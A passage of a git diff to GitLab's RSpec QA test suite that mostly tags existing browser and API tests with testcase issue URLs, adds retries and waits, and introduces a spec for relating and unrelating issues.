+ it 'user creates a project with a file and deletes them afterwards', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/420' do
create_project_request = Runtime::API::Request.new(@api_client, '/projects')
post create_project_request.url, path: project_name, name: project_name
@@ -76,7 +76,7 @@ module QA
SVG
end
- it 'sets no-cache headers as expected' do
+ it 'sets no-cache headers as expected', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/421' do
create_project_request = Runtime::API::Request.new(@api_client, '/projects')
post create_project_request.url, path: project_name, name: project_name
diff --git a/qa/qa/specs/features/api/3_create/repository/project_archive_compare_spec.rb b/qa/qa/specs/features/api/3_create/repository/project_archive_compare_spec.rb
index e66e8f8c9d4..4bd99b4820e 100644
--- a/qa/qa/specs/features/api/3_create/repository/project_archive_compare_spec.rb
+++ b/qa/qa/specs/features/api/3_create/repository/project_archive_compare_spec.rb
@@ -28,7 +28,7 @@ module QA
end
end
- it 'download archives of each user project then check they are different' do
+ it 'download archives of each user project then check they are different', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/427' do
archive_checksums = {}
users.each do |user_key, user_info|
@@ -51,7 +51,6 @@ module QA
project.add_name_uuid = false
project.name = project_name
project.path_with_namespace = "#{user.username}/#{project_name}"
- project.user = user
project.api_client = api_client
end
diff --git a/qa/qa/specs/features/api/4_verify/pipeline_deletion_spec.rb b/qa/qa/specs/features/api/4_verify/pipeline_deletion_spec.rb
index 567815858f3..0bbb0ed897a 100644
--- a/qa/qa/specs/features/api/4_verify/pipeline_deletion_spec.rb
+++ b/qa/qa/specs/features/api/4_verify/pipeline_deletion_spec.rb
@@ -49,9 +49,7 @@ module QA
let(:pipeline_data_request) { Runtime::API::Request.new(api_client, "/projects/#{project.id}/pipelines/#{pipeline_id}") }
before do
- Support::Waiter.wait_until(max_duration: 30, sleep_interval: 3) do
- JSON.parse(get(pipeline_data_request.url))['status'] != 'pending'
- end
+ Support::Waiter.wait_until(sleep_interval: 3) { !pipeline.empty? && pipeline['status'] != 'pending' }
end
after do
@@ -59,11 +57,23 @@ module QA
end
context 'when deleted via API' do
- it 'is not found' do
+ it 'is not found', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/931' do
delete(pipeline_data_request.url)
- expect(JSON.parse(get(pipeline_data_request.url))['message'].downcase).to have_content('404 not found')
+
+ deleted_pipeline = nil
+ Support::Waiter.wait_until(sleep_interval: 3) do
+ deleted_pipeline = pipeline
+ !pipeline.empty?
+ end
+ expect(deleted_pipeline['message'].downcase).to have_content('404 not found')
end
end
+
+ private
+
+ def pipeline
+ JSON.parse(get(pipeline_data_request.url))
+ end
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb
index 5b89bcc7375..7bcc1fa4e1c 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Configure', :orchestrated, :mattermost do
describe 'Mattermost support' do
- it 'user creates a group with a mattermost team' do
+ it 'user creates a group with a mattermost team', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/665' do
Flow::Login.sign_in
Page::Main::Menu.perform(&:go_to_groups)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb
index f307d286587..b9e1ee53246 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb
@@ -11,14 +11,14 @@ module QA
let(:target_group) do
Resource::Group.fabricate_via_api! do |group|
- group.path = 'target-group'
+ group.path = "target-group-for-transfer_#{SecureRandom.hex(8)}"
end
end
let(:project) do
Resource::Project.fabricate_via_api! do |project|
project.group = source_group
- project.name = 'transfer-project'
+ project.name = 'transfer-project'
project.initialize_with_readme = true
end
end
@@ -43,13 +43,16 @@ module QA
end
end
- it 'user transfers a project between groups' do
- Page::File::Show.perform(&:go_to_general_settings)
+ it 'user transfers a project between groups', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/406' do
+ # Retry is needed here as the target group is not avaliable for transfer right away.
+ QA::Support::Retrier.retry_on_exception(reload_page: page) do
+ Page::File::Show.perform(&:go_to_general_settings)
- Page::Project::Settings::Main.perform(&:expand_advanced_settings)
+ Page::Project::Settings::Main.perform(&:expand_advanced_settings)
- Page::Project::Settings::Advanced.perform do |advanced|
- advanced.transfer_project!(project.name, target_group.full_path)
+ Page::Project::Settings::Advanced.perform do |advanced|
+ advanced.transfer_project!(project.name, target_group.full_path)
+ end
end
Page::Project::Settings::Main.perform(&:click_project)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb
index e83aed18b5f..23de213012e 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb
@@ -32,7 +32,7 @@ module QA
group.add_member(developer_user, Resource::Members::AccessLevel::DEVELOPER)
end
- it 'allows using 2FA recovery code once only' do
+ it 'allows using 2FA recovery code once only', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/972' do
recovery_code = enable_2fa_for_user_and_fetch_recovery_code(developer_user)
Flow::Login.sign_in(as: developer_user, skip_page_validation: true)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/log_in_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/log_in_spec.rb
index 9cb765705e0..624f8d20b62 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/log_in_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/log_in_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Manage', :smoke do
describe 'basic user login' do
- it 'user logs in using basic credentials and logs out' do
+ it 'user logs in using basic credentials and logs out', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/424' do
Flow::Login.sign_in
Page::Main::Menu.perform do |menu|
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb
index d0ab945124b..bd0d28c86be 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb
@@ -34,7 +34,7 @@ module QA
group.add_member(developer_user, Resource::Members::AccessLevel::DEVELOPER)
end
- it 'allows enforcing 2FA via UI and logging in with 2FA' do
+ it 'allows enforcing 2FA via UI and logging in with 2FA', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/898' do
enforce_two_factor_authentication_on_group(group)
enable_two_factor_authentication_for_user(developer_user)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb
index 5933637045f..cc12dd4e315 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Manage', :orchestrated, :ldap_no_tls, :ldap_tls do
describe 'LDAP login' do
- it 'user logs into GitLab using LDAP credentials' do
+ it 'user logs into GitLab using LDAP credentials', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/668' do
Flow::Login.sign_in
Page::Main::Menu.perform do |menu|
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/log_into_mattermost_via_gitlab_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/log_into_mattermost_via_gitlab_spec.rb
index c7bd372c144..366f150bcd1 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/log_into_mattermost_via_gitlab_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/log_into_mattermost_via_gitlab_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Manage', :orchestrated, :mattermost do
describe 'Mattermost login' do
- it 'user logs into Mattermost using GitLab OAuth' do
+ it 'user logs into Mattermost using GitLab OAuth', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/666' do
Flow::Login.sign_in
Support::Retrier.retry_on_exception do
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb
index 505da623d66..f6aecff9f26 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Manage', :orchestrated, :instance_saml do
describe 'Instance wide SAML SSO' do
- it 'User logs in to gitlab with SAML SSO' do
+ it 'User logs in to gitlab with SAML SSO', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/671' do
Runtime::Browser.visit(:gitlab, Page::Main::Login)
Page::Main::Login.perform(&:sign_in_with_saml)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
index bb01be9d86e..11a6bf6fdfa 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
@@ -14,7 +14,7 @@ module QA
end
RSpec.describe 'Manage', :skip_signup_disabled do
- describe 'standard' do
+ describe 'standard', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/936' do
it_behaves_like 'registration and login'
context 'when user account is deleted', :requires_admin do
@@ -36,7 +36,7 @@ module QA
end
end
- it 'allows recreating with same credentials' do
+ it 'allows recreating with same credentials', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/937' do
expect(Page::Main::Menu.perform(&:signed_in?)).to be_falsy
Flow::Login.sign_in(as: user, skip_page_validation: true)
@@ -64,7 +64,7 @@ module QA
end
RSpec.describe 'Manage', :orchestrated, :ldap_no_tls, :skip_signup_disabled do
- describe 'while LDAP is enabled' do
+ describe 'while LDAP is enabled', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/935' do
it_behaves_like 'registration and login'
end
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb
index 8d1fa3ee62d..27350176a1e 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Manage' do
describe 'Add project member' do
- it 'user adds project member' do
+ it 'user adds project member', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/482' do
Flow::Login.sign_in
user = Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_1, Runtime::Env.gitlab_qa_password_1)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
index 80b5e332abe..6d07f72a044 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Manage', :smoke do
describe 'Project creation' do
- it 'user creates a new project' do
+ it 'user creates a new project', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/429' do
Flow::Login.sign_in
created_project = Resource::Project.fabricate_via_browser_ui! do |project|
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb
index 6ce97188d66..aaf0c51a2db 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb
@@ -41,13 +41,13 @@ module QA
end
end
- context 'when logged in as a new user' do
+ context 'when logged in as a new user', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/465' do
it_behaves_like 'loads all images' do
let(:new_user) { @new_user }
end
end
- context 'when logged in as a new admin' do
+ context 'when logged in as a new admin', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/463' do
it_behaves_like 'loads all images' do
let(:new_user) { @new_admin }
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
index 94cf1fe1f8c..83dfb2d9639 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
@@ -23,7 +23,7 @@ module QA
Page::Main::Menu.perform(&:sign_out_if_signed_in)
end
- it 'user imports a GitHub repo' do
+ it 'user imports a GitHub repo', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/385' do
Flow::Login.sign_in
imported_project # import the project
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb
index b98d2982684..fd6d26153ea 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Manage' do
describe 'Project activity' do
- it 'user creates an event in the activity page upon Git push' do
+ it 'user creates an event in the activity page upon Git push', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/407' do
Flow::Login.sign_in
Resource::Repository::ProjectPush.fabricate! do |push|
diff --git a/qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb
index a334731386a..418865a63d2 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb
@@ -19,7 +19,7 @@ module QA
Flow::Login.sign_in
end
- it 'is received by a user for project invitation' do
+ it 'is received by a user for project invitation', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/676' do
Flow::Project.add_member(project: project, username: user.username)
expect(page).to have_content(/@#{user.username}(\n| )?Given access/)
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb
index ec88042673c..5d863a80877 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb
@@ -27,7 +27,7 @@ module QA
end.visit!
end
- it 'mentions a user in a comment' do
+ it 'mentions a user in a comment', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/452' do
Page::Project::Issue::Show.perform do |show|
show.select_all_activities_filter
show.comment("cc-ing you here @#{user.username}")
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb
index 478f6b8177c..6b309716f55 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb
@@ -17,7 +17,7 @@ module QA
end
end
- it 'collapses and expands reply for comments in an issue' do
+ it 'collapses and expands reply for comments in an issue', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/434' do
Page::Project::Issue::Show.perform do |show|
one_reply = "1 reply"
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/comment_issue_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/comment_issue_spec.rb
index 0347de42b96..c9ae47459c4 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/comment_issue_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/comment_issue_spec.rb
@@ -9,7 +9,7 @@ module QA
Resource::Issue.fabricate_via_api!.visit!
end
- it 'comments on an issue and edits the comment' do
+ it 'comments on an issue and edits the comment', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/450' do
Page::Project::Issue::Show.perform do |show|
first_version_of_comment = 'First version of the comment'
second_version_of_comment = 'Second version of the comment'
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
index 91fd2579fcd..a10329d5936 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
@@ -9,7 +9,7 @@ module QA
Flow::Login.sign_in
end
- it 'creates an issue', :reliable do
+ it 'creates an issue', :reliable, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/432' do
issue = Resource::Issue.fabricate_via_browser_ui!
Page::Project::Menu.perform(&:click_issues)
@@ -19,7 +19,7 @@ module QA
end
end
- it 'closes an issue', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/225303', type: :bug } do
+ it 'closes an issue', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/225303', type: :bug }, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/852' do
closed_issue.visit!
Page::Project::Issue::Show.perform do |issue_page|
@@ -48,7 +48,7 @@ module QA
Resource::Issue.fabricate_via_api!.visit!
end
- it 'comments on an issue with an attachment' do
+ it 'comments on an issue with an attachment', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/393' do
Page::Project::Issue::Show.perform do |show|
show.comment('See attached banana for scale', attachment: file_to_attach)
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/export_as_csv_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/export_as_csv_spec.rb
index aa03a514f04..c1113e7ec35 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/export_as_csv_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/export_as_csv_spec.rb
@@ -24,7 +24,7 @@ module QA
Page::Project::Menu.perform(&:click_issues)
end
- it 'successfully exports issues list as CSV' do
+ it 'successfully exports issues list as CSV', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/764' do
Page::Project::Issue::Index.perform do |index|
index.click_export_as_csv_button
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/filter_issue_comments_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/filter_issue_comments_spec.rb
index 082933e9878..9a054e7d1c8 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/filter_issue_comments_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/filter_issue_comments_spec.rb
@@ -9,7 +9,7 @@ module QA
Resource::Issue.fabricate_via_api!.visit!
end
- it 'filters comments and activities in an issue' do
+ it 'filters comments and activities in an issue', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/425' do
Page::Project::Issue::Show.perform do |show|
my_own_comment = "My own comment"
made_the_issue_confidential = "made the issue confidential"
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/issue_suggestions_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/issue_suggestions_spec.rb
index 43f4415c90d..7c675862e26 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/issue_suggestions_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/issue_suggestions_spec.rb
@@ -13,7 +13,7 @@ module QA
end.project.visit!
end
- it 'shows issue suggestions when creating a new issue' do
+ it 'shows issue suggestions when creating a new issue', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/412' do
Page::Project::Show.perform(&:go_to_new_issue)
Page::Project::Issue::New.perform do |new_page|
new_page.fill_title("issue")
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/jira_issue_import_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/jira_issue_import_spec.rb
index a2e7d10f313..42b3e5364b7 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/jira_issue_import_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/jira_issue_import_spec.rb
@@ -14,7 +14,7 @@ module QA
end
end
- it 'imports issues from Jira' do
+ it 'imports issues from Jira', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/896' do
set_up_jira_integration
import_jira_issues
@@ -58,7 +58,7 @@ module QA
end
expect(page).not_to have_text("Url is blocked")
- expect(page).to have_text("Jira activated")
+ expect(page).to have_text("Jira settings saved and active.")
end
end
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/mentions_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/mentions_spec.rb
index b0b2a83ae35..5a8c9a4601a 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/mentions_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/mentions_spec.rb
@@ -21,7 +21,7 @@ module QA
end.visit!
end
- it 'mentions another user in an issue' do
+ it 'mentions another user in an issue', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/446' do
Page::Project::Issue::Show.perform do |show|
at_username = "@#{user.username}"
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue_boards/focus_mode_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue_boards/focus_mode_spec.rb
index 932eef8e38b..7f60726af0e 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue_boards/focus_mode_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue_boards/focus_mode_spec.rb
@@ -13,7 +13,7 @@ module QA
Flow::Login.sign_in
end
- it 'focuses on issue board' do
+ it 'focuses on issue board', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/820' do
project.visit!
Page::Project::Menu.perform(&:go_to_boards)
diff --git a/qa/qa/specs/features/browser_ui/2_plan/milestone/assign_milestone_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/milestone/assign_milestone_spec.rb
index 115701c5c02..b011978dce6 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/milestone/assign_milestone_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/milestone/assign_milestone_spec.rb
@@ -17,6 +17,7 @@ module QA
let(:project) do
Resource::Project.fabricate_via_api! do |project|
project.name = 'project-to-test-milestones'
+ project.group = group
end
end
diff --git a/qa/qa/specs/features/browser_ui/2_plan/milestone/create_group_milestone_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/milestone/create_group_milestone_spec.rb
index 35c42796aeb..5f7e28190b2 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/milestone/create_group_milestone_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/milestone/create_group_milestone_spec.rb
@@ -14,7 +14,7 @@ module QA
Flow::Login.sign_in
end
- it 'creates a group milestone' do
+ it 'creates a group milestone', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/922' do
group_milestone = Resource::GroupMilestone.fabricate_via_browser_ui! do |milestone|
milestone.title = title
milestone.description = description
diff --git a/qa/qa/specs/features/browser_ui/2_plan/milestone/create_project_milestone_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/milestone/create_project_milestone_spec.rb
index 143fdf5728b..489691b4d0c 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/milestone/create_project_milestone_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/milestone/create_project_milestone_spec.rb
@@ -14,7 +14,7 @@ module QA
Flow::Login.sign_in
end
- it 'creates a project milestone' do
+ it 'creates a project milestone', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/901' do
project_milestone = Resource::ProjectMilestone.fabricate_via_browser_ui! do |milestone|
milestone.title = title
milestone.description = description
diff --git a/qa/qa/specs/features/browser_ui/2_plan/related_issues/related_issues_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/related_issues/related_issues_spec.rb
new file mode 100644
index 00000000000..a2190a8cf41
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/2_plan/related_issues/related_issues_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Plan' do
+ describe 'Related issues' do
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'project-to-test-related-issues'
+ end
+ end
+
+ let(:issue_1) do
+ Resource::Issue.fabricate_via_api! do |issue|
+ issue.project = project
+ end
+ end
+
+ let(:issue_2) do
+ Resource::Issue.fabricate_via_api! do |issue|
+ issue.project = project
+ end
+ end
+
+ before do
+ Flow::Login.sign_in
+ end
+
+ it 'relates and unrelates one issue to/from another', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/541' do
+ issue_1.visit!
+
+ Page::Project::Issue::Show.perform do |show|
+ max_wait = 60
+
+ show.relate_issue(issue_2)
+
+ expect(show.related_issuable_item).to have_text(issue_2.title, wait: max_wait)
+
+ show.click_remove_related_issue_button
+
+ expect(show).to have_no_text(issue_2.title, wait: max_wait)
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/3_create/design_management/add_design_content_spec.rb b/qa/qa/specs/features/browser_ui/3_create/design_management/add_design_content_spec.rb
index 44c1511fffb..ff2b4fa5364 100644
--- a/qa/qa/specs/features/browser_ui/3_create/design_management/add_design_content_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/design_management/add_design_content_spec.rb
@@ -12,7 +12,7 @@ module QA
Flow::Login.sign_in
end
- it 'user adds a design and annotates it' do
+ it 'user adds a design and annotates it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/955' do
issue.visit!
Page::Project::Issue::Show.perform do |issue|
diff --git a/qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb b/qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb
index 28338475cb5..37ddd1425a8 100644
--- a/qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb
@@ -41,7 +41,7 @@ module QA
end
end
- it 'closes an issue via pushing a commit' do
+ it 'closes an issue via pushing a commit', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/827' do
issue_key = Vendor::Jira::JiraAPI.perform do |jira_api|
jira_api.create_issue(jira_project_key)
end
@@ -51,7 +51,7 @@ module QA
expect_issue_done(issue_key)
end
- it 'closes an issue via a merge request' do
+ it 'closes an issue via a merge request', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/828' do
issue_key = Vendor::Jira::JiraAPI.perform do |jira_api|
jira_api.create_issue(jira_project_key)
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb
index 524cc3fc8a1..510fc0c9a16 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb
@@ -16,7 +16,7 @@ module QA
Flow::Login.sign_in
end
- it 'creates a basic merge request', :smoke do
+ it 'creates a basic merge request', :smoke, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/409' do
Resource::MergeRequest.fabricate_via_browser_ui! do |merge_request|
merge_request.project = project
merge_request.title = merge_request_title
@@ -29,7 +29,7 @@ module QA
end
end
- it 'creates a merge request with a milestone and label' do
+ it 'creates a merge request with a milestone and label', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/514' do
gitlab_account_username = "@#{Runtime::User.username}"
milestone = Resource::ProjectMilestone.fabricate_via_api! do |milestone|
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
index 5b89bf046fb..b58e820a6c9 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
@@ -9,7 +9,7 @@ module QA
end
end
- it 'can merge feature branch fork to mainline' do
+ it 'can merge feature branch fork to mainline', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/928' do
Flow::Login.sign_in
merge_request.visit!
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb
index a1c604bdcfc..02fbb0bbbd7 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/30226', type: :bug } do
describe 'Merge request rebasing' do
